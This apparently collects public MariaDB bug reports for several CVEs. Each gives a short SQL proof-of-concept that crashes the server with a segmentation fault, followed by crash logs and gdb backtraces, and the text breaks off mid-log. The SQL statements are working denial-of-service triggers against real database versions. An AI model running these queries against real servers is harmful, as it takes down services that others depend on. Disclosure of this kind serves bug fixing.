MariaDB v10.2 to v10.7 was discovered to contain a segmentation fault via the component sub_select.

step to reproduce:

CREATE TABLE v0 ( v1 DECIMAL UNIQUE CHECK ( CASE 0 \* 27302337.000000 WHEN 34 THEN + 'x' LIKE 'x' OR v1 NOT IN ( -1 / TRUE ^ 2 ) ELSE 7105743.000000 END ) ) ;

 INSERT INTO v0 VALUES ( 90 ) , ( -1 ) , ( 31152443.000000 ) , ( -32768 ) , ( NULL ) , ( NULL ) ;

 INSERT INTO v0 SELECT AVG ( 'x' ) OVER ( PARTITION BY ( ( NOT AVG ( 76698761.000000 ) ) ) IS NOT NULL ) ;

 INSERT IGNORE INTO v0 ( ) VALUES ( 0 ) , ( 'x' ) , ( 3751286.000000 ) , ( 'x' ) , ( ( v1 = 'x' AND 0 AND 0 ) ) ;

 INSERT INTO v0 VALUES ( 127 ) ;

 INSERT INTO v0 SELECT -2147483648 END FROM v0 AS TEXT JOIN v0 JOIN v0 TABLES ;

 ALTER TABLE v0 ADD ( v2 INT UNIQUE CHECK ( ( v1 = 'x' AND ( ( - ( + ( BINARY 49730460.000000 ) ) ) ) = 'x' BETWEEN 'x' AND 'x' ) ) ) ;

 UPDATE v0 SET v1 = -128 WHERE v1 IS NULL ORDER BY 78 IN ( 'x' , 'x' ) , v1 ;

report (compiled with ASAN):

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed, 

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key\_buffer\_size=134217728

read\_buffer\_size=131072

max\_used\_connections=1

max\_threads=153

thread\_count=1

It is possible that mysqld could use up to 

key\_buffer\_size + (read\_buffer\_size + sort\_buffer\_size)\*max\_threads = 467956 K  bytes of memory

Hope that's ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong...

stack\_bottom = 0x7f4adf25c850 thread\_stack 0x5fc00

sanitizer\_common/sanitizer\_common\_interceptors.inc:4203(\_\_interceptor\_backtrace.part.0)\[0x7f4afeb08c3e\]

mysys/stacktrace.c:213(my\_print\_stacktrace)\[0x55a35785f747\]

sql/signal\_handler.cc:222(handle\_fatal\_signal)\[0x55a356827120\]

sigaction.c:0(\_\_restore\_rt)\[0x7f4afe4f2870\]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): INSERT INTO v0 SELECT AVG ( 'x' ) OVER ( PARTITION BY ( ( NOT AVG ( 76698761.000000 ) ) ) IS NOT NULL )

Connection ID (thread ID): 4

Status: NOT\_KILLED

Optimizer switch: index\_merge=on,index\_merge\_union=on,index\_merge\_sort\_union=on,index\_merge\_intersection=on,index\_merge\_sort\_intersection=off,engine\_condition\_pushdown=off,index\_condition\_pushdown=on,derived\_merge=on,derived\_with\_keys=on,firstmatch=on,loosescan=on,materialization=on,in\_to\_exists=on,semijoin=on,partial\_match\_rowid\_merge=on,partial\_match\_table\_scan=on,subquery\_cache=on,mrr=off,mrr\_cost\_based=off,mrr\_sort\_keys=off,outer\_join\_with\_cache=on,semijoin\_with\_cache=on,join\_cache\_incremental=on,join\_cache\_hashed=on,join\_cache\_bka=on,optimize\_join\_buffer\_size=on,table\_elimination=on,extended\_keys=on,exists\_to\_in=on,orderby\_uses\_equalities=on,condition\_pushdown\_for\_derived=on,split\_materialized=on,condition\_pushdown\_for\_subquery=on,rowid\_filter=on,condition\_pushdown\_from\_having=on,not\_null\_range\_scan=off

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains

information that should help you find out what is causing the crash.

Writing a core file...

Working directory at /home/fuboat/mariadb-tmp/3

Resource Limits:

Limit                     Soft Limit           Hard Limit           Units     

Max cpu time              unlimited            unlimited            seconds   

Max file size             unlimited            unlimited            bytes     

Max data size             unlimited            unlimited            bytes     

Max stack size            8388608              unlimited            bytes     

Max core file size        unlimited            unlimited            bytes     

Max resident set          unlimited            unlimited            bytes     

Max processes             61608                61608                processes 

Max open files            524288               524288               files     

Max locked memory         65536                65536                bytes     

Max address space         unlimited            unlimited            bytes     

Max file locks            unlimited            unlimited            locks     

Max pending signals       61608                61608                signals   

Max msgqueue size         819200               819200               bytes     

Max nice priority         0                    0                    

Max realtime priority     0                    0                    

Max realtime timeout      unlimited            unlimited            us        

Core pattern: core

gdb bt:

#0  0x00007f4afe4ef808 in pthread\_kill () from /usr/lib/libpthread.so.0

#1  0x000055a35682706b in handle\_fatal\_signal (sig=<optimized out>) at /experiment/mariadb-server/sql/signal\_handler.cc:344

#2  <signal handler called>

#3  0x0000000000000000 in ?? ()

#4  0x000055a3561b9ee7 in sub\_select (join=0x629000089208, join\_tab=0x629000089c88, end\_of\_records=false) at /experiment/mariadb-server/sql/sql\_select.cc:21052

#5  0x000055a35625eb8d in do\_select (procedure=0x0, join=0x629000089208) at /experiment/mariadb-server/sql/sql\_select.cc:20602

#6  JOIN::exec\_inner (this=0x629000089208) at /experiment/mariadb-server/sql/sql\_select.cc:4735

#7  0x000055a356260593 in JOIN::exec (this=this@entry=0x629000089208) at /experiment/mariadb-server/sql/sql\_select.cc:4513

#8  0x000055a356258b5b in mysql\_select (thd=0x62b0000bd218, tables=<optimized out>, fields=..., conds=<optimized out>, og\_num=0, order=0x0, group=0x0, having=0x0, proc\_param=0x0, select\_options=<optimized out>, result=0x629000089140, unit=0x62b0000c13c0, select\_lex=0x629000087ad0)

    at /experiment/mariadb-server/sql/sql\_select.cc:4991

#9  0x000055a35625a655 in handle\_select (thd=thd@entry=0x62b0000bd218, lex=lex@entry=0x62b0000c12f8, result=result@entry=0x629000089140, setup\_tables\_done\_option=setup\_tables\_done\_option@entry=1073741824) at /experiment/mariadb-server/sql/sql\_select.cc:545

#10 0x000055a3560c99c1 in mysql\_execute\_command (thd=0x62b0000bd218, is\_called\_from\_prepared\_stmt=<optimized out>) at /experiment/mariadb-server/sql/sql\_parse.cc:4711

#11 0x000055a3560cc5a1 in mysql\_parse (thd=0x62b0000bd218, rawbuf=<optimized out>, length=<optimized out>, parser\_state=<optimized out>) at /experiment/mariadb-server/sql/sql\_parse.cc:8030

#12 0x000055a3560d260c in dispatch\_command (command=<optimized out>, thd=0x62b0000bd218, packet=<optimized out>, packet\_length=<optimized out>, blocking=<optimized out>) at /experiment/mariadb-server/sql/sql\_parse.cc:1896

#13 0x000055a3560d773d in do\_command (thd=0x62b0000bd218, blocking=blocking@entry=true) at /experiment/mariadb-server/sql/sql\_parse.cc:1404

#14 0x000055a356492e57 in do\_handle\_one\_connection (connect=<optimized out>, put\_in\_cache=<optimized out>) at /experiment/mariadb-server/sql/sql\_connect.cc:1418

#15 0x000055a35649333d in handle\_one\_connection (arg=arg@entry=0x6080000023b8) at /experiment/mariadb-server/sql/sql\_connect.cc:1312

#16 0x000055a356f23c2c in pfs\_spawn\_thread (arg=0x617000005f18) at /experiment/mariadb-server/storage/perfschema/pfs.cc:2201

#17 0x00007f4afe4e8259 in start\_thread () from /usr/lib/libpthread.so.0

#18 0x00007f4afe0935e3 in clone () from /usr/lib/libc.so.6

CVE-2022-32084: [MDEV-26427] MariaDB Server SEGV issue

MariaDB v10.5 to v10.7 was discovered to contain a segmentation fault via the component st_select_lex_unit::exclude_level.

PoC:

KILL STRCMP ( 'x' = 47051287.000000 , TIME ( NOT 'x' IN ( SELECT -32768 ) ) MOD 44 ) ;

crash log:

Version: '10.7.0-MariaDB' socket: '/tmp/12.socket' port: 10012 Source distribution  
210816 15:00:02 \[ERROR\] mysqld got signal 11 ;  
This could be because you hit a bug. It is also possible that this binary  
or one of the libraries it was linked against is corrupt, improperly built,  
or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help  
diagnose the problem, but since we have already crashed,  
something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB  
key\_buffer\_size=134217728  
read\_buffer\_size=131072  
max\_used\_connections=1  
max\_threads=153  
thread\_count=1  
It is possible that mysqld could use up to  
key\_buffer\_size + (read\_buffer\_size + sort\_buffer\_size)\*max\_threads = 467956 K bytes of memory  
Hope that's ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218  
Attempting backtrace. You can use the following information to find out  
where mysqld died. If you see no messages after this, something went  
terribly wrong...  
stack\_bottom = 0x7f677d93c850 thread\_stack 0x5fc00  
sanitizer\_common/sanitizer\_common\_interceptors.inc:4203(\_\_interceptor\_backtrace.part.0)\[0x7f679d1e8c3e\]  
mysys/stacktrace.c:213(my\_print\_stacktrace)\[0x55ea78116747\]  
sql/signal\_handler.cc:222(handle\_fatal\_signal)\[0x55ea770de120\]  
sigaction.c:0(\_\_restore\_rt)\[0x7f679cbd2870\]  
sql/sql\_lex.cc:3315(st\_select\_lex\_unit::exclude\_level())\[0x55ea768e1518\]  
sql/item\_subselect.cc:322(Item\_subselect::fix\_fields(THD\*, Item\*\*))\[0x55ea773cff8c\]  
sql/item\_subselect.cc:3562(Item\_in\_subselect::fix\_fields(THD\*, Item\*\*))\[0x55ea773d0c62\]  
sql/item\_func.cc:347(Item\_func::fix\_fields(THD\*, Item\*\*))\[0x55ea7727229c\]  
sql/item\_cmpfunc.cc:6455(Item\_func\_not::fix\_fields(THD\*, Item\*\*))\[0x55ea771cd8c2\]  
sql/item\_func.cc:347(Item\_func::fix\_fields(THD\*, Item\*\*))\[0x55ea7727229c\]  
sql/item\_func.cc:347(Item\_func::fix\_fields(THD\*, Item\*\*))\[0x55ea7727229c\]  
sql/item\_func.cc:347(Item\_func::fix\_fields(THD\*, Item\*\*))\[0x55ea7727229c\]  
sql/item.h:1148(Item::fix\_fields\_if\_needed\_for\_scalar(THD\*, Item\*\*))\[0x55ea7698f9d4\]  
sql/sql\_parse.cc:5523(mysql\_execute\_command(THD\*, bool))\[0x55ea76978d5e\]  
sql/sql\_parse.cc:8047(mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*))\[0x55ea769835a1\]  
sql/sql\_parse.cc:1898(dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool))\[0x55ea7698960c\]  
sql/sql\_parse.cc:1406(do\_command(THD\*, bool))\[0x55ea7698e73d\]  
sql/sql\_connect.cc:1418(do\_handle\_one\_connection(CONNECT\*, bool))\[0x55ea76d49e57\]  
sql/sql\_connect.cc:1312(handle\_one\_connection)\[0x55ea76d4a33d\]  
perfschema/pfs.cc:2204(pfs\_spawn\_thread)\[0x55ea777dac2c\]  
pthread\_create.c:0(start\_thread)\[0x7f679cbc8259\]  
:0(\__GI_\_\_clone)\[0x7f679c7735e3\]

Trying to get some variables.  
Some pointers may be invalid and cause the dump to abort.  
Query (0x629000087238): KILL STRCMP ( 'x' = 47051287.000000 , TIME ( NOT 'x' IN ( SELECT -32768 ) ) MOD 44 )

Connection ID (thread ID): 4  
Status: NOT\_KILLED

Optimizer switch: index\_merge=on,index\_merge\_union=on,index\_merge\_sort\_union=on,index\_merge\_intersection=on,index\_merge\_sort\_intersection=off,engine\_condition\_pushdown=off,index\_condition\_pushdown=on,derived\_merge=on,derived\_with\_keys=on,firstmatch=on,loosescan=on,materialization=on,in\_to\_exists=on,semijoin=on,partial\_match\_rowid\_merge=on,partial\_match\_table\_scan=on,subquery\_cache=on,mrr=off,mrr\_cost\_based=off,mrr\_sort\_keys=off,outer\_join\_with\_cache=on,semijoin\_with\_cache=on,join\_cache\_incremental=on,join\_cache\_hashed=on,join\_cache\_bka=on,optimize\_join\_buffer\_size=on,table\_elimination=on,extended\_keys=on,exists\_to\_in=on,orderby\_uses\_equalities=on,condition\_pushdown\_for\_derived=on,split\_materialized=on,condition\_pushdown\_for\_subquery=on,rowid\_filter=on,condition\_pushdown\_from\_having=on,not\_null\_range\_scan=off

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains  
information that should help you find out what is causing the crash.  
Writing a core file...

CVE-2022-32089: [MDEV-26410] MariaDB server crash in st_select_lex_unit::exclude_level

MariaDB v10.2 to v10.7 was discovered to contain a segmentation fault via the component Exec_time_tracker::get_loops/Filesort_tracker::report_use/filesort.

CREATE TABLE v0 ( v1 TINYINT NULL ) ;

 TRUNCATE TABLE v0 ;

 SELECT instr ( COALESCE ( sqrt ( ( quote ( 'x' / 46 ) ) + 0 ) , 'x' ) , 51 ) ;

 SAVEPOINT v0 ;

 SELECT 16 / 'x' AS v2 UNION SELECT -2147483648 AS v3 ORDER BY ( LAST\_VALUE ( 'x' ) OVER ( ) ) LIMIT 6 ;

 REPLACE INTO v0 VALUES ( TRUE ) ;

2021-08-16 14:41:38 0 \[Note\] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 14:41:38 0 \[Note\] InnoDB: Number of pools: 1

2021-08-16 14:41:38 0 \[Note\] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 14:41:38 0 \[Note\] mysqld: O\_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 14:41:38 0 \[Note\] InnoDB: Using liburing

2021-08-16 14:41:38 0 \[Note\] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 14:41:38 0 \[Note\] InnoDB: Completed initialization of buffer pool

2021-08-16 14:41:38 0 \[Note\] InnoDB: 128 rollback segments are active.

2021-08-16 14:41:38 0 \[Note\] InnoDB: Creating shared tablespace for temporary tables

2021-08-16 14:41:38 0 \[Note\] InnoDB: Setting file './ibtmp1' size to 12 MB. Physically writing the file full; Please wait ...

2021-08-16 14:41:38 0 \[Note\] InnoDB: File './ibtmp1' size is now 12 MB.

2021-08-16 14:41:38 0 \[Note\] InnoDB: 10.7.0 started; log sequence number 42161; transaction id 14

2021-08-16 14:41:38 0 \[Note\] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/mysql-default-data/ib\_buffer\_pool

2021-08-16 14:41:38 0 \[Note\] Plugin 'FEEDBACK' is disabled.

2021-08-16 14:41:38 0 \[Note\] InnoDB: Buffer pool(s) load completed at 210816 14:41:38

2021-08-16 14:41:38 0 \[Note\] Server socket created on IP: '0.0.0.0'.

2021-08-16 14:41:38 0 \[Note\] Server socket created on IP: '::'.

2021-08-16 14:41:38 0 \[Note\] /usr/local/mysql/bin//mysqld: ready for connections.

Version: '10.7.0-MariaDB'  socket: '/tmp/0.socket'  port: 3306  Source distribution

2021-08-16 14:41:39 0 \[Note\] /usr/local/mysql/bin//mysqld (initiated by: root\[root\] @ localhost \[\]): Normal shutdown

2021-08-16 14:41:39 0 \[Note\] InnoDB: FTS optimize thread exiting.

2021-08-16 14:41:39 0 \[Note\] InnoDB: Starting shutdown...

2021-08-16 14:41:39 0 \[Note\] InnoDB: Dumping buffer pool(s) to /home/fuboat/mariadb-tmp/mysql-default-data/ib\_buffer\_pool

2021-08-16 14:41:39 0 \[Note\] InnoDB: Buffer pool(s) dump completed at 210816 14:41:39

2021-08-16 14:41:39 0 \[Note\] InnoDB: Removed temporary tablespace data file: "./ibtmp1"

2021-08-16 14:41:39 0 \[Note\] InnoDB: Shutdown completed; log sequence number 42173; transaction id 15

2021-08-16 14:41:39 0 \[Note\] /usr/local/mysql/bin//mysqld: Shutdown complete

2021-08-16 15:01:54 0 \[Note\] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 15:01:54 0 \[Note\] InnoDB: Number of pools: 1

2021-08-16 15:01:54 0 \[Note\] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 15:01:54 0 \[Note\] mysqld: O\_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 15:01:54 0 \[Note\] InnoDB: Using liburing

2021-08-16 15:01:54 0 \[Note\] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 15:01:54 0 \[Note\] InnoDB: Completed initialization of buffer pool

2021-08-16 15:02:07 0 \[Note\] InnoDB: 128 rollback segments are active.

2021-08-16 15:02:07 0 \[Note\] InnoDB: Creating shared tablespace for temporary tables

2021-08-16 15:02:07 0 \[Note\] InnoDB: Setting file './ibtmp1' size to 12 MB. Physically writing the file full; Please wait ...

2021-08-16 15:02:07 0 \[Note\] InnoDB: File './ibtmp1' size is now 12 MB.

2021-08-16 15:02:07 0 \[Note\] InnoDB: 10.7.0 started; log sequence number 42173; transaction id 14

2021-08-16 15:02:07 0 \[Note\] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/4/ib\_buffer\_pool

2021-08-16 15:02:07 0 \[Note\] Plugin 'FEEDBACK' is disabled.

2021-08-16 15:02:07 0 \[Note\] Server socket created on IP: '0.0.0.0'.

2021-08-16 15:02:07 0 \[Note\] Server socket created on IP: '::'.

2021-08-16 15:02:08 0 \[Note\] InnoDB: Buffer pool(s) load completed at 210816 15:02:08

2021-08-16 15:02:09 0 \[Note\] /usr/local/mysql/bin//mysqld: ready for connections.

Version: '10.7.0-MariaDB'  socket: '/tmp/4.socket'  port: 10004  Source distribution

210816 15:02:10 \[ERROR\] mysqld got signal 11 ;

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed, 

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key\_buffer\_size=134217728

read\_buffer\_size=131072

max\_used\_connections=1

max\_threads=153

thread\_count=1

It is possible that mysqld could use up to 

key\_buffer\_size + (read\_buffer\_size + sort\_buffer\_size)\*max\_threads = 467956 K  bytes of memory

Hope that's ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong...

stack\_bottom = 0x7f625c527850 thread\_stack 0x5fc00

sanitizer\_common/sanitizer\_common\_interceptors.inc:4203(\_\_interceptor\_backtrace.part.0)\[0x7f627bdd3c3e\]

mysys/stacktrace.c:213(my\_print\_stacktrace)\[0x55cd04b35747\]

sql/signal\_handler.cc:222(handle\_fatal\_signal)\[0x55cd03afd120\]

sigaction.c:0(\_\_restore\_rt)\[0x7f627b7bd870\]

sql/sql\_analyze\_stmt.h:89(Exec\_time\_tracker::get\_loops() const)\[0x55cd03af5195\]

sql/sql\_select.cc:24388(create\_sort\_index(THD\*, JOIN\*, st\_join\_table\*, Filesort\*))\[0x55cd034dc699\]

sql/sql\_window.cc:3007(Window\_funcs\_sort::exec(JOIN\*, bool))\[0x55cd03935d79\]

sql/sql\_window.cc:3140(Window\_funcs\_computation::exec(JOIN\*, bool))\[0x55cd03938435\]

sql/sql\_select.cc:29457(AGGR\_OP::end\_send())\[0x55cd0350fc76\]

sql/sql\_select.cc:20766(sub\_select\_postjoin\_aggr(JOIN\*, st\_join\_table\*, bool))\[0x55cd035105d0\]

sql/sql\_select.cc:20604(JOIN::exec\_inner())\[0x55cd0353482c\]

sql/sql\_select.cc:4514(JOIN::exec())\[0x55cd03536593\]

sql/sql\_select.cc:4993(mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*))\[0x55cd0352eb5b\]

sql/sql\_union.cc:2360(st\_select\_lex\_unit::exec())\[0x55cd0365117f\]

sql/sql\_union.cc:43(mysql\_union(THD\*, LEX\*, select\_result\*, st\_select\_lex\_unit\*, unsigned long))\[0x55cd0365d7b8\]

sql/sql\_class.h:4325(THD::is\_error() const)\[0x55cd035303a0\]

sql/sql\_parse.cc:6256(execute\_sqlcom\_select(THD\*, TABLE\_LIST\*))\[0x55cd03373d7d\]

sql/sql\_parse.cc:3946(mysql\_execute\_command(THD\*, bool))\[0x55cd0339d421\]

sql/sql\_parse.cc:8047(mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*))\[0x55cd033a25a1\]

sql/sql\_parse.cc:1898(dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool))\[0x55cd033a860c\]

sql/sql\_parse.cc:1406(do\_command(THD\*, bool))\[0x55cd033ad73d\]

sql/sql\_connect.cc:1418(do\_handle\_one\_connection(CONNECT\*, bool))\[0x55cd03768e57\]

sql/sql\_connect.cc:1312(handle\_one\_connection)\[0x55cd0376933d\]

perfschema/pfs.cc:2204(pfs\_spawn\_thread)\[0x55cd041f9c2c\]

pthread\_create.c:0(start\_thread)\[0x7f627b7b3259\]

:0(\_\_GI\_\_\_clone)\[0x7f627b35e5e3\]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): SELECT 16 / 'x' AS v2 UNION SELECT -2147483648 AS v3 ORDER BY ( LAST\_VALUE ( 'x' ) OVER ( ) ) LIMIT 6

Connection ID (thread ID): 4

Status: NOT\_KILLED

Optimizer switch: index\_merge=on,index\_merge\_union=on,index\_merge\_sort\_union=on,index\_merge\_intersection=on,index\_merge\_sort\_intersection=off,engine\_condition\_pushdown=off,index\_condition\_pushdown=on,derived\_merge=on,derived\_with\_keys=on,firstmatch=on,loosescan=on,materialization=on,in\_to\_exists=on,semijoin=on,partial\_match\_rowid\_merge=on,partial\_match\_table\_scan=on,subquery\_cache=on,mrr=off,mrr\_cost\_based=off,mrr\_sort\_keys=off,outer\_join\_with\_cache=on,semijoin\_with\_cache=on,join\_cache\_incremental=on,join\_cache\_hashed=on,join\_cache\_bka=on,optimize\_join\_buffer\_size=on,table\_elimination=on,extended\_keys=on,exists\_to\_in=on,orderby\_uses\_equalities=on,condition\_pushdown\_for\_derived=on,split\_materialized=on,condition\_pushdown\_for\_subquery=on,rowid\_filter=on,condition\_pushdown\_from\_having=on,not\_null\_range\_scan=off

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains

information that should help you find out what is causing the crash.

Writing a core file...

Working directory at /home/fuboat/mariadb-tmp/4

Resource Limits:

Limit                     Soft Limit           Hard Limit           Units     

Max cpu time              unlimited            unlimited            seconds   

Max file size             unlimited            unlimited            bytes     

Max data size             unlimited            unlimited            bytes     

Max stack size            8388608              unlimited            bytes     

Max core file size        unlimited            unlimited            bytes     

Max resident set          unlimited            unlimited            bytes     

Max processes             61608                61608                processes 

Max open files            524288               524288               files     

Max locked memory         65536                65536                bytes     

Max address space         unlimited            unlimited            bytes     

Max file locks            unlimited            unlimited            locks     

Max pending signals       61608                61608                signals   

Max msgqueue size         819200               819200               bytes     

Max nice priority         0                    0                    

Max realtime priority     0                    0                    

Max realtime timeout      unlimited            unlimited            us      

Copyright (C) 2021 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86\_64-pc-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from /usr/local/mysql/bin//mysqld...

\[New LWP 639727\]

\[New LWP 586228\]

\[New LWP 629512\]

\[New LWP 630498\]

\[New LWP 586314\]

\[New LWP 643180\]

\[New LWP 629544\]

\[New LWP 586347\]

\[New LWP 586033\]

\[New LWP 630466\]

\[New LWP 630472\]

\[New LWP 630499\]

\[New LWP 630529\]

\[New LWP 639688\]

\[New LWP 586318\]

\[Thread debugging using libthread\_db enabled\]

Using host libthread\_db library "/usr/lib/libthread\_db.so.1".

Core was generated by \`/usr/local/mysql/bin//mysqld --port 10004 --datadir=/home/fuboat/mariadb-tmp/4'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0x00007f627b7ba808 in pthread\_kill () from /usr/lib/libpthread.so.0

\[Current thread is 1 (Thread 0x7f625c528240 (LWP 639727))\]

(gdb) (gdb) #0  0x00007f627b7ba808 in pthread\_kill () from /usr/lib/libpthread.so.0

#1  0x000055cd03afd06b in handle\_fatal\_signal (sig=<optimized out>) at /experiment/mariadb-server/sql/signal\_handler.cc:344

#2  <signal handler called>

#3  0x000055cd03af5195 in Exec\_time\_tracker::get\_loops (this=0x0) at /experiment/mariadb-server/sql/sql\_analyze\_stmt.h:89

#4  Filesort\_tracker::report\_use (r\_limit\_arg=18446744073709551615, thd=0x62b0000bd218, this=0x0) at /experiment/mariadb-server/sql/sql\_analyze\_stmt.h:235

#5  filesort (thd=<optimized out>, table=table@entry=0x61f00000fcb8, filesort=filesort@entry=0x629000092dd8, tracker=<optimized out>, join=join@entry=0x62900008a768, first\_table\_bit=<optimized out>) at /experiment/mariadb-server/sql/filesort.cc:267

#6  0x000055cd034dc699 in create\_sort\_index (thd=thd@entry=0x62b0000bd218, join=join@entry=0x62900008a768, tab=tab@entry=0x629000092068, fsort=0x629000092dd8) at /experiment/mariadb-server/sql/sql\_select.cc:24386

#7  0x000055cd03935d79 in Window\_funcs\_sort::exec (this=0x629000092bf0, join=join@entry=0x62900008a768, keep\_filesort\_result=keep\_filesort\_result@entry=false) at /experiment/mariadb-server/sql/sql\_window.cc:3007

#8  0x000055cd03938435 in Window\_funcs\_computation::exec (this=<optimized out>, join=join@entry=0x62900008a768, keep\_last\_filesort\_result=keep\_last\_filesort\_result@entry=false) at /experiment/mariadb-server/sql/sql\_window.cc:3140

#9  0x000055cd0350fc76 in AGGR\_OP::end\_send (this=0x62900008b1f0) at /experiment/mariadb-server/sql/sql\_select.cc:29457

#10 0x000055cd035105d0 in sub\_select\_postjoin\_aggr (join=0x62900008a768, join\_tab=0x629000092068, end\_of\_records=<optimized out>) at /experiment/mariadb-server/sql/sql\_select.cc:20765

#11 0x000055cd0353482c in do\_select (procedure=0x0, join=0x62900008a768) at /experiment/mariadb-server/sql/sql\_select.cc:20604

#12 JOIN::exec\_inner (this=0x62900008a768) at /experiment/mariadb-server/sql/sql\_select.cc:4735

#13 0x000055cd03536593 in JOIN::exec (this=this@entry=0x62900008a768) at /experiment/mariadb-server/sql/sql\_select.cc:4513

#14 0x000055cd0352eb5b in mysql\_select (thd=0x62b0000bd218, tables=tables@entry=0x62b0000c1408, fields=..., conds=conds@entry=0x0, og\_num=1, order=0x629000088f68, group=0x0, having=0x0, proc\_param=0x0, select\_options=<optimized out>, result=0x6290000890a8, unit=0x62b0000c13c0, select\_lex=0x629000088788)

    at /experiment/mariadb-server/sql/sql\_select.cc:4991

#15 0x000055cd0365117f in st\_select\_lex\_unit::exec (this=0x62b0000c13c0) at /experiment/mariadb-server/sql/sql\_union.cc:2360

#16 0x000055cd0365d7b8 in mysql\_union (thd=thd@entry=0x62b0000bd218, lex=lex@entry=0x62b0000c12f8, result=result@entry=0x6290000890a8, unit=unit@entry=0x62b0000c13c0, setup\_tables\_done\_option=<optimized out>) at /experiment/mariadb-server/sql/sql\_union.cc:42

#17 0x000055cd035303a0 in handle\_select (thd=thd@entry=0x62b0000bd218, lex=lex@entry=0x62b0000c12f8, result=result@entry=0x6290000890a8, setup\_tables\_done\_option=setup\_tables\_done\_option@entry=0) at /experiment/mariadb-server/sql/sql\_select.cc:535

#18 0x000055cd03373d7d in execute\_sqlcom\_select (thd=0x62b0000bd218, all\_tables=<optimized out>) at /experiment/mariadb-server/sql/sql\_parse.cc:6256

#19 0x000055cd0339d421 in mysql\_execute\_command (thd=0x62b0000bd218, is\_called\_from\_prepared\_stmt=<optimized out>) at /experiment/mariadb-server/sql/sql\_parse.cc:3946

#20 0x000055cd033a25a1 in mysql\_parse (thd=0x62b0000bd218, rawbuf=<optimized out>, length=<optimized out>, parser\_state=<optimized out>) at /experiment/mariadb-server/sql/sql\_parse.cc:8030

#21 0x000055cd033a860c in dispatch\_command (command=<optimized out>, thd=0x62b0000bd218, packet=<optimized out>, packet\_length=<optimized out>, blocking=<optimized out>) at /experiment/mariadb-server/sql/sql\_parse.cc:1896

#22 0x000055cd033ad73d in do\_command (thd=0x62b0000bd218, blocking=blocking@entry=true) at /experiment/mariadb-server/sql/sql\_parse.cc:1404

#23 0x000055cd03768e57 in do\_handle\_one\_connection (connect=<optimized out>, put\_in\_cache=<optimized out>) at /experiment/mariadb-server/sql/sql\_connect.cc:1418

#24 0x000055cd0376933d in handle\_one\_connection (arg=arg@entry=0x6080000023b8) at /experiment/mariadb-server/sql/sql\_connect.cc:1312

#25 0x000055cd041f9c2c in pfs\_spawn\_thread (arg=0x617000005b98) at /experiment/mariadb-server/storage/perfschema/pfs.cc:2201

#26 0x00007f627b7b3259 in start\_thread () from /usr/lib/libpthread.so.0

#27 0x00007f627b35e5e3 in clone () from /usr/lib/libc.so.6

(gdb) quit

CVE-2022-32088: [MDEV-26419] A SEGV in Exec_time_tracker::get_loops/Filesort_tracker::report_use/filesort

MariaDB v10.4 to v10.8 was discovered to contain a segmentation fault via the component Item_field::fix_outer_field.

PoC:

CREATE TABLE v0 ( v1 BIGINT ( 67 ) NOT NULL ) ;

 CREATE TABLE v2 ( v4 INT , v3 INT NOT NULL UNIQUE KEY CHECK ( -128 | ( str\_to\_date ( CHAR ( 33 ) , 'x' ) ) ) ) ;

 DROP FUNCTION IF EXISTS v0 ;

 INSERT INTO v0 SELECT DISTINCT \* FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 ) ;

Crash Log:

Version: '10.7.0-MariaDB'  socket: '/tmp/18.socket'  port: 10018  Source distribution

210816 15:33:24 \[ERROR\] mysqld got signal 11 ;

This could be because you hit a bug. It is also possible that this binary

